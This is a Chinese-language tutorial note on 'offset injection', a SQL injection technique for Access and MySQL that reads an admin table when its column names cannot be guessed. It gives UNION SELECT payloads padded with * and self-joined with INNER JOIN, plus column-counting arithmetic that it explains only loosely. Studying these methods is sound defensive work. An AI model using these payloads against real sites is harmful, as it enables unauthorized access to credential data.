0x00:前言
应用场景:Access、mysql数据库,知道表名,但是列名猜解不出来。
偏移注入是access比较独有的一种注入手段,很有特点(人品)的注入方式,一般用于在猜解了表名但是没有猜解出列名的情况下使用
0x01:流程
(1)注入点
(2)判断字段数
order by
(3)判断显示位置
union select 1,2,3,4,5,6...... from table
注:还有隐性显位!例如:
表面上只有这些
查看页面源码
(4)偏移注入
判断admin 表的列数
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin 返回错误
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
.......
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 返回正确
说明 admin 表中有6个字段
偏移注入的计算
order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
(5)数据
一级偏移:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
注:查看源码,有的是隐性显位
二级偏移:
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
0x02:总结
注意隐性显位
应用条件(抄别人的)核心问题:
需要存在注入的当前表的列数 大于 目标表的列数
别人的笔记:
1.猜字段数
2.猜表名:
返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:
3.猜表下的字段数:
为了让语句正确,用*来加长字段数:
… …
此时就发现了admin表下有四个字段(20-16=4)。
4.inner join 连接查询:
inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字,再次使用inner join查询: